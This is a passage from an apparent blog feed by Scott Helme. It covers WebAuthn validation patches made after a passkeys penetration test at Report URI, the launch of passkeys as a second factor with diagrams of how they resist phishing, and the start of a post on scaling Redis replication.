    </code></pre><p></p><p>With this patch, the library will now check that the <code>attStmt</code> is empty when the Attestation Format is <code>none</code>, which brings us in to alignment with the spec with no security risk.</p><p></p><h4 id="invalid-backup-flags">Invalid Backup Flags</h4><p>When a user is registering or using a Passkey, the Authenticator can tell us two things about how it handles backups of the Passkey. It can tell us:</p><p></p><ol><li>Backup Eligibility -  set if the credential is a multi-device credential, meaning it&apos;s designed to be synced across devices (e.g. an iCloud Keychain, Google Password Manager, 1Password, etc...)</li><li>Backup State - set if the credential is currently backed up, i.e. it has actually been synced to the cloud at the time of the ceremony.</li></ol><p></p><p>Looking at those two potential flags that can be set, you can then derive a set of valid states based on the relationship between them.</p><p></p><table>
    <thead>
    <tr>
    <th>BE</th>
    <th>BS</th>
    <th>Meaning</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>0</td>
    <td>0</td>
    <td>Not backup eligible, not backed up</td>
    </tr>
    <tr>
    <td>1</td>
    <td>0</td>
    <td>Backup eligible, not yet backed up</td>
    </tr>
    <tr>
    <td>1</td>
    <td>1</td>
    <td>Backup eligible, currently backed up</td>
    </tr>
    <tr>
    <td>0</td>
    <td>1</td>
    <td><strong>Invalid</strong> &#x2014; cannot be backed up without being eligible</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>The final row in that table indicates an invalid state because a Passkey can&apos;t have been backed up if the Passkey is not eligible to be backed up. The current specification does not require that we reject this, but the future version of the spec does. We will now check for this invalid state and have up-streamed a patch to the library.</p><p></p><pre><code class="language-php">diff --git a/src/Attestation/AuthenticatorData.php b/src/Attestation/AuthenticatorData.php
    index 83462b1..a73d195 100644
    --- a/src/Attestation/AuthenticatorData.php
    +++ b/src/Attestation/AuthenticatorData.php
    @@ -281,6 +281,12 @@ class AuthenticatorData {
             $flags-&gt;isBackup = $flags-&gt;bit_4;
             $flags-&gt;attestedDataIncluded = $flags-&gt;bit_6;
             $flags-&gt;extensionDataIncluded = $flags-&gt;bit_7;
    +
    +        // Backup State (BS) requires Backup Eligible (BE) per spec.
    +        if ($flags-&gt;isBackup &amp;&amp; !$flags-&gt;isBackupEligible) {
    +            throw new WebAuthnException(&apos;invalid backup flags: BS without BE&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             return $flags;
         }
     </code></pre><p></p><p>This issue also present no security risk and is now resolved.</p><p></p><h4 id="token-binding-accepted">Token Binding Accepted</h4><p><a href="https://en.wikipedia.org/wiki/Token_Binding?ref=scotthelme.ghost.io" rel="noreferrer">Token Binding</a> is a fairly old technology that is now deprecated, Chrome <a href="https://issues.chromium.org/issues/40589745?ref=scotthelme.ghost.io" rel="noreferrer">removed their code</a> for it in 2018. A client can indicate it was using Token Binding in a Passkey ceremony by setting the <code>tokenBinding.status</code> value to <code>present</code>. Given that our application does not support Token Binding, and most other applications probably don&apos;t either, along with clients having deprecated it, this shouldn&apos;t really be possible. Our application would allow a client to indicate it was using Token Binding, even though it can&apos;t, and we would ignore these values as we don&apos;t use it. The spec does not allow you to ignore these values, so we had to handle them. We&apos;re now correctly validating these fields if they are present and we have up-streamed a patch.</p><p></p><pre><code class="language-php">diff --git a/src/WebAuthn.php b/src/WebAuthn.php
    index d6b78e7..f81882f 100644
    --- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -362,6 +362,12 @@ class WebAuthn {
                 throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
             }
     
    +        // 6. Verify tokenBinding status matches the TLS connection. We do not
    +        //    support Token Binding, so reject status &quot;present&quot; (Level 2 &#xA7;7.1 Step 6).
    +        if (\property_exists($clientData, &apos;tokenBinding&apos;) &amp;&amp; \is_object($clientData-&gt;tokenBinding) &amp;&amp; \property_exists($clientData-&gt;tokenBinding, &apos;status&apos;) &amp;&amp; $clientData-&gt;tokenBinding-&gt;status === &apos;present&apos;) {
    +            throw new WebAuthnException(&apos;token binding not supported&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             // Attestation
             $attestationObject = new Attestation\AttestationObject($attestationObject, $this-&gt;_formats);
     
    @@ -485,6 +491,12 @@ class WebAuthn {
                 throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
             }
     
    +        // 10. Verify tokenBinding status matches the TLS connection. We do not
    +        //     support Token Binding, so reject status &quot;present&quot; (Level 2 &#xA7;7.2 Step 10).
    +        if (\property_exists($clientData, &apos;tokenBinding&apos;) &amp;&amp; \is_object($clientData-&gt;tokenBinding) &amp;&amp; \property_exists($clientData-&gt;tokenBinding, &apos;status&apos;) &amp;&amp; $clientData-&gt;tokenBinding-&gt;status === &apos;present&apos;) {
    +            throw new WebAuthnException(&apos;token binding not supported&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.
             if ($authenticatorObj-&gt;getRpIdHash() !== $this-&gt;_rpIdHash) {
                 throw new WebAuthnException(&apos;invalid rpId hash&apos;, WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><p>This was the last of the issues found in the penetration test and I&apos;m happy to say that this one also presented no security risk and is resolved.</p><p></p><h4 id="were-good-to-go">We&apos;re good to go! </h4><p>When making such a big change to how users log in to our service, it makes me feel a lot more comfortable that we&apos;ve had it thoroughly reviewed by an external party. Whilst there were some issues found here, I&apos;m happy that none of them presented any real risk to our customers, and they&apos;ve all been fixed anyway. As always, we&apos;ve published the full report for our penetration test below so you can take a look at the unredacted findings!</p><p><a href="https://cdn.report-uri.com/pdf/Report%20URI%20-%202026%20Passkeys%20Penetration%20Test%20Report.pdf?ref=scotthelme.ghost.io" rel="noreferrer">Download Full Report</a></p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js" integrity="sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup-templating.min.js" integrity="sha512-+8BiRfWso6waiFDv6tEmWF8yfPGgxAtOYLDUB0rRISLwtpxkJ9lpPNUhxwWlikn3qSO+4RQyzDppi62o3ON/AA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-php.min.js" integrity="sha512-plzrTi61ltEMFf84gTVO9IkvIMfBu07bnDuahvdlIclmFWzXJ9VcRsny9d45sxFZRv3jJg/MHNyuxnUYEMxMEg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <!--kg-card-end: html-->
    ]]></content:encoded></item><item><title><![CDATA[Launching Passkeys support on Report URI! 🗝️]]></title><description><![CDATA[<p>As we&apos;re always wanting to keep ahead in the security game, I&apos;m happy to announce that we now support Passkeys on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>! Let&apos;s take a quick look at what Passkeys are, why you should use them, and how we&apos;ve implemented them.</p>]]></description><link>https://scotthelme.ghost.io/launching-passkeys-support-on-report-uri/</link><guid isPermaLink="false">69b2e9d974ea740001185409</guid><category><![CDATA[Passkeys]]></category><category><![CDATA[Report URI]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 30 Mar 2026 10:10:05 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg" alt="Launching Passkeys support on Report URI! &#x1F5DD;&#xFE0F;"><p>As we&apos;re always wanting to keep ahead in the security game, I&apos;m happy to announce that we now support Passkeys on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>! Let&apos;s take a quick look at what Passkeys are, why you should use them, and how we&apos;ve implemented them.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png" class="kg-image" alt="Launching Passkeys support on Report URI! &#x1F5DD;&#xFE0F;" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="passkeys-solve-a-big-problem">Passkeys solve a big problem</h4><p>Let&apos;s kick things off by stating the biggest benefit of Passkeys which is that they are <strong><em>phishing-resistant</em></strong>! That&apos;s right, if you&apos;re using Passkeys to protect your account, you no longer have to worry about falling victim to a phishing attack. This was the primary driver for us to add support at Report URI, to provide our customers with a strong authentication mechanism that will give them confidence they are protected against the pervasive threat of phishing attacks. On top of this tremendous benefit, I feel that they&apos;re also much more convenient to use too! </p><p></p><h4 id="how-do-passkeys-work">How do Passkeys work?</h4><p>Instead of relying on a secret piece of information like a password, Passkeys work by relying on cryptography and are surprisingly simple under the hood. Your device will create a cryptographic key pair that will be used for authentication when you need to login to the website. The registration process for a Passkey looks like this:</p><p></p><pre><code>
     User               Browser / OS              Website / Server            
     |                      |                           |
     | 1. &quot;Create Passkey&quot;  |                           |
     |---------------------&gt;|                           |
     |                      | 2. Request registration   |
     |                      |--------------------------&gt;|
     |                      |                           |
     |                      | 3. Send challenge         |
     |                      |&lt;--------------------------|
     |                      |                           | 
     |                      | 4. Create new key pair    |
     |                      |    - save private key     |
     |                      |      on device            | 
     |                      |                           |
     |                      | 5. Send public key + attestation
     |                      |--------------------------&gt;|
     |                      |                           | 7. Store public key
     |                      |                           |    with user account
     |                      | 8. Registration complete  |
     |                      |&lt;--------------------------|
     | 9. &quot;Registration Complete&quot;                       |
     |&lt;---------------------|                           |
     |                      |                           |</code></pre><p></p><p>You initiate the Passkey registration process in the browser and you will be prompted by your device or password manager to create a Passkey. You device will create the cryptographic key pair, sign the challenge provided by the website, and then return the signed challenge along with your public key, which is stored against your account. The private key is kept securely on your device. Now that Passkey registration is complete, you can then use your Passkey for authentication.</p><p></p><pre><code>User               Browser / OS              Website / Server
     |                      |                           |
     | 1. &quot;Sign in with passkey&quot;                        |
     |---------------------&gt;|                           |
     |                      | 2. Request authentication |
     |                      |--------------------------&gt;|
     |                      |                           | 
     |                      | 3. Send challenge         |
     |                      |&lt;--------------------------|
     |                      |                           |
     |                      | 4. Biometrics / PIN       |
     |                      | 5. Sign with private key  |
     |                      | 6. Return signed challenge|
     |                      |--------------------------&gt;|
     |                      |                           | 7. Verify signature
     |                      |                           |    using public key
     |                      | 8. Authentication successful
     |                      |&lt;--------------------------| 
     | 9. &quot;Signed in!&quot;      |                           |
     |&lt;---------------------|                           |</code></pre><p></p><p>When logging in to a website where you have registered a Passkey, you will usually have to initiate the process to sign in with your Passkey. In the background, your device will then start the authentication process and receive the challenge that needs to be signed with your private key. To do that, your device will ask for something like FaceID, TouchID, or similar on your device to authenticate you. Once you have authenticated to your device, it will sign the challenge with your private key and return it to the website. The website can then check it is definitely you by verifying that signature using your public key that it previously received, and then you&apos;re logged in! This is such a nice experience and has so little friction for the user, especially when you consider how strong this mechanism is.</p><p></p><h4 id="how-are-they-phishing-resistant">How are they phishing-resistant?</h4><p>When your device creates a Passkey, it doesn&apos;t just create and store the keys used, it also stores some important metadata too. The relevant part of that metadata that gives us phishing resistance is the Relying Part ID, or <code>rpId</code>. When you go to Report URI and register a Passkey on our website, the <code>rpId</code> will be saved with the Passkey on your device as <code>report-uri.com</code> and your device can then enforce that your new Passkey is only ever used on this domain or its subdomains. This means that if you end up on a phishing site that <em>looks</em> like Report URI, but isn&apos;t actually <code>report-uri.com</code>, the Passkey simply will not work. Take these examples that might make for convincing phishing pages:</p><p></p><pre><code>https://report-url.com               &lt;-- nope
    https://report-uri.secure-login.com  &lt;-- nope
    https://report-uri.xyz               &lt;-- nope</code></pre><p></p><p>The only way that your device will now use the Passkey to log you in is if you&apos;re on a valid website where the Passkey is allowed to be used, effectively neutralising the threat of phishing!</p><p></p><h4 id="how-are-they-being-used-on-report-uri">How are they being used on Report URI?</h4><p>There are two ways that you can use Passkeys on your website and they offer slightly different benefits.</p><p></p><ol><li>You can use Passkeys to replace passwords altogether, so they become your primary authentication mechanism. </li><li>You can use Passkeys as a 2FA mechanism alongside your existing username/password authentication.</li></ol><p></p><p>At Report URI we&apos;ve opted for option #2 and now offer Passkeys as a 2FA option alongside our existing TOTP 2FA offering. Passkeys make for an incredibly strong second-factor and our primary goal was to achieve the phishing resistance that Passkeys offer. Looking at option #1 is also a valid approach and there are other benefits too, mainly being able to get rid of passwords from your database and protect against password based attacks. Given our <em>extensive</em> measures to protect user passwords, it was less of a concern for us to move to using Passkeys as our primary authentication mechanism and instead we chose to introduce them as a 2FA mechanism. If you&apos;re interested in our approach to securing user passwords, you can read my <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">blog post that goes in to detail</a>, but here is a summary:</p><p></p><ol><li>We use the <a href="https://haveibeenpwned.com/API/v3?ref=scotthelme.ghost.io#PwnedPasswords" rel="noreferrer">Pwned Passwords API</a> to prevent the use of passwords that have previously been leaked.</li><li>We use zxcvbn to ensure the use of strong passwords when registering an account or changing password.</li><li>We provide extensive support for password managers using attributes on HTML form elements. </li><li>We store hashed passwords using bcrypt (work factor 10 + 128bit salt) so they are resistant to cracking. </li></ol><p></p><p>Passkeys are now available on the Settings page in your account and we <em>strongly</em> recommend that you go and enable them!</p><p>In the coming week, I will also be publishing two more blog posts. One of them is the full details of the external engagement to have our Passkeys implementation audited. We engaged a penetration testing company to come in and do a full test of our implementation to make absolutely sure it was rock solid. The blog post will contain the full, unredacted report with details of all findings. The second blog post will be the announcement of our whitepaper on Passkeys and the new security considerations they bring if you&apos;re planning to use them on your site. Make sure you&apos;re subscribed for notifications so you know when they go live!</p><p></p>]]></content:encoded></item><item><title><![CDATA[When “One in a Billion” Happens Every Day: Scaling Redis at Report URI]]></title><description><![CDATA[<p>Something that I&apos;ve come to learn as we continue to grow <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is that everything is easy until scale makes it hard. We&apos;re now processing so much telemetry that a &quot;one in a billion&quot; problem can happen every, single, day, and we&apos;</p>]]></description><link>https://scotthelme.ghost.io/when-one-in-a-billion-happens-every-day-scaling-redis-at-report-uri/</link><guid isPermaLink="false">69af4097fedfb90001b388b4</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Redis]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 24 Mar 2026 14:36:17 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI"><p>Something that I&apos;ve come to learn as we continue to grow <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is that everything is easy until scale makes it hard. We&apos;re now processing so much telemetry that a &quot;one in a billion&quot; problem can happen every, single, day, and we&apos;ve had to make some significant improvements to our infrastructure to handle that whilst continuing to provide a reliable service!</p><p></p><h4 id="our-high-availability-redis-deployment">Our High-Availability Redis deployment</h4><p>I recently wrote <a href="https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io" rel="noreferrer">We&apos;re going High Availability with Redis Sentinel!</a> and you should start there if you&apos;d like to understand our setup with Redis and Sentinel. TLDR; we have four sentinels in front of two caches, the primary and replica, that handle our telemetry ingestion.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1000" height="785" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><p>We moved to the HA setup to allow us more flexibility in upgrading the Redis server, changing available resources, and to add some much needed resilience, all using the failover process. All of that work has served us well and I published the linked blog post in Aug 2025, but it wasn&apos;t long before even this setup was showing the early signs of struggling. Wanting to get out ahead of any potential problems, we got to work.</p><p></p><h4 id="just-how-much-are-we-talking">Just how much are we talking?</h4><p>You can head over to our <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Global Telemetry Dashboard</a> which is publicly available and will answer that very question. At the time of writing, this is what our summary looks like:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="847" height="318" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png 847w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can look at data by day, week, or even month, get technical breakdowns of the traffic like HTTP version, TLS version, client type, and more.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="965" height="570" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-10.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png 965w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can even check out our mesmerising <a href="https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io" rel="noreferrer">PewPew Map</a> to view our inbound telemetry that runs live at 5 minutes behind real-time. But, enough about how much telemetry we&apos;re processing, let&apos;s get on to the &apos;how&apos;. </p><p></p><h4 id="identifying-opportunities-for-improvement">Identifying opportunities for improvement!</h4><p>Redis is a critical part of our infrastructure and we knew that more work was needed, so we sat down and came up with a list. Internally, we refer to these tickets as &apos;Mega Tickets&apos;, which signifies that they&apos;re going to be a parent ticket for a bunch of other tickets, and that there&apos;s going to be a lot of work involved!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="925" height="843" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png 925w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Quite of a few of these tickets were pretty interesting changes, resulting in some really big performance gains. Some of these tickets are also the kind of thing where you say &quot;well, duh...&quot; after you read them, but all of this was working perfectly until it wasn&apos;t. Scale creeps up on you and makes things that were previously easy much more difficult.</p><p></p><h4 id="optimising-replication-for-smooth-failovers">Optimising replication for smooth failovers</h4><p>One of the main goals of introducing our High Availability setup with Redis Sentinel was so that we could gracefully failover between the primary and replica caches. This allows us to pull the primary out of use for updates, upgrades, maintenance, or if it fails and has an outage, automatically promoting the replica to the new primary to continue on. One issue that we had during failover testing was that the replica would fall a tiny fraction behind the primary on replication and when the replica was promoted to primary, rather than catching up on a small amount of data, it would instead trigger a full resync. This full sync of the dataset would hang inbound connections while processes sat around receiving the <code>LOADING</code> response from Redis, and occasionally the primary would get <code>oom</code> killed during the RDB sync. I became familiar with the copy-on-write semantic of the <code>fork()</code> sys call, which Redis uses for an RDB dump, during a <a href="https://scotthelme.co.uk/stronger-than-ever-how-we-turned-a-ddos-attack-into-a-lesson-in-resilience/?ref=scotthelme.ghost.io" rel="noreferrer">targeted attack</a> we were subjected to at the start of 2025. While <code>fork()</code> means the child process doesn&apos;t theoretically need to replicate all of the data in memory, if you have a highly volatile dataset like we do, it does! The question is, though, why is it doing a full RDB sync?!</p><p>Here&apos;s how Redis streams write commands from a primary to a replica:</p><p></p><pre><code>                &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;
                    &#x2502;                    PRIMARY                  &#x2502;
                    &#x2502;                                             &#x2502;
                    &#x2502; &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
    Writes from &#x2192;   &#x2502; &#x2502;   Command Stream (WRITE ops)  &#x2502;           &#x2502;
    applications &#x2500;&#x2500;&#x2500;&#x25B6;&#x2502;   (SET, HSET, INCR, etc.)     &#x2502;           &#x2502;
                    &#x2502; &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x252C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2502;            &#x2502;                                &#x2502;
                    &#x2502;            &#x25BC;                                &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502;  &#x2502;   Replication Backlog (2 GB) &#x2502;&#x25C4;&#x2500;&#x2500;&#x2500;&#x2510;      &#x2502;
                    &#x2502;  &#x2502;  Circular buffer of last N B &#x2502;    &#x2502;      &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;    &#x2502;      &#x2502;
                    &#x2502;            &#x2502;                         &#x2502;      &#x2502;
                    &#x2502;            &#x2502;                         &#x2502;      &#x2502;
                    &#x2502;            &#x25BC;                         &#x2502;      &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;    &#x2502;      &#x2502;
                    &#x2502;  &#x2502; Replica Output Buffer (512MB)&#x2502;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;      &#x2502;
                    &#x2502;  &#x2502; per connected replica client &#x2502;           &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;
                                                  &#x2502;
                                                  &#x2502; TCP stream of write commands
                                                  &#x25BC;
                    &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;
                    &#x2502;                    REPLICA                  &#x2502;
                    &#x2502;                                             &#x2502;
                    &#x2502; &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502; &#x2502;   Input buffer (from primary) &#x2502;           &#x2502;
                    &#x2502; &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x252C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2502;            &#x2502;                                &#x2502;
                    &#x2502;            &#x25BC;                                &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502;  &#x2502; Apply to dataset in memory   &#x2502;           &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
